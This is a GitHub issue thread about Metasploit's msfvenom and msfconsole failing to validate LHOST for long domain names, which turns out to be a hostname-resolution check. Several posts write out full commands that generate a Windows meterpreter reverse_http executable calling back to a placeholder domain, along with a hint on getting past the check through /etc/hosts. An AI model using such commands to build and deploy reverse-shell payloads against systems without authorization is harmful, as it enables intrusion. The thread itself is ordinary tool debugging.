Metasploit-framework: msfvenom and msfconsole fail to validate LHOST option with a long domain

[pkreuzt]

There seems to be an error in msfvenom which causes LHOST option to be not parseable under some circumstances. I have not been able to trace the error to the exact cause, but seems that if you specify LHOST to a long domain name with usual syntax it fails:

$ msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=myverylongdomainname.com LPORT=9999 -f exe

Error: The following options failed to validate: LHOST.

But if you specify the same domain omitting the '=' symbol it behaves correctly:

$ msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOSTmyverylongdomainname.com LPORT=9999 -f exe

[The payload is generated]

Also, if you specify LHOST to a short domain or an IP address it gets generated correctly too.
Error traceback (framework.log):

/usr/bin/msfvenom:332:in <main>' [01/30/2018 10:26:16] [e(0)] core: Msf::OptionValidateError : The following options failed to validate: LHOST. /usr/share/metasploit-framework/lib/msf/core/module/options.rb:21:invalidate'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:64:in generate' /usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:25:increate'
/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:53:in generate_simple' /usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:138:ingenerate_simple'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:395:in generate_raw_payload' /usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:341:ingenerate_payload'

The same issue affects msfconsole too, when setting LHOST to a long domain.

[01/30/2018 10:40:07] [e(0)] core: Exploit failed (multi/handler): The following options failed to validate: LHOST.

System stuff

Metasploit version

metasploit v4.16.34-dev installed in Kali via apt

[wvu-r7]

Is the hostname resolvable?

[pkreuzt]

Yes, it is. I can ping it through this hostname.

[acammack-r7]

Well, the reason it succeeds on the second case is that it sees LHOST is not set and falls back to the default source address.

[wvu-r7]

So the question here is have you verified the payload works as intended? That second syntax you listed is not valid in any case.

[wvu-r7]

wvu@hiigara:~/metasploit-framework:master$ ./msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=thelongestdomainnameintheworldandthensomeandthensomemoreandmore.com LPORT=9999 -f exe | file -
No encoder or badchars specified, outputting raw payload
Payload size: 520 bytes
Final size of exe file: 73802 bytes
/dev/stdin: PE32 executable (GUI) Intel 80386, for MS Windows
wvu@hiigara:~/metasploit-framework:master$

Works for me.

[wvu-r7]

Can you try the test above?

[acammack-r7]

It is worth noting that MSF will not validate domain names it can't resolve, whether or not they could be resolved from the intended target of the payload.

[wvu-r7]

tl;dr The reverse_http stager will store the hostname, but MSF will first check if LHOST can be resolved.

[pkreuzt]

So you are saying the domain has to be resolvable by metasploit at the moment of payload creation. This could be the issue, I need to do further testing since there are proxys involved in my setting.
Is there any way to skip this check? My environment is a bit tricky. This means my obejective's routes could be very different from mine and difficult to replicate.

[void-in]

@pkreuzt I believe an entry in /etc/hosts file for the said domain should be enough to pass the check. Haven't checked it myself but it should work theoretically.

[tlmyasirs]

wvu@hiigara:~/metasploit-framework:master$ ./msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=thelongestdomainnameintheworldandthensomeandthensomemoreandmore.com LPORT=9999 -f exe | file -
No encoder or badchars specified, outputting raw payload
Payload size: 520 bytes
Final size of exe file: 73802 bytes
/dev/stdin: PE32 executable (GUI) Intel 80386, for MS Windows
wvu@hiigara:~/metasploit-framework:master$

Works for me.

still not working for me
Error: The following options failed to validate: LHOST.
/dev/stdin: empty

[Gangadharam93]

The error i came to know due to leaving space " " on lhost & lport
Like
lhost= 127.0.0.1 Wrong
lhost=127.0.0.1 correct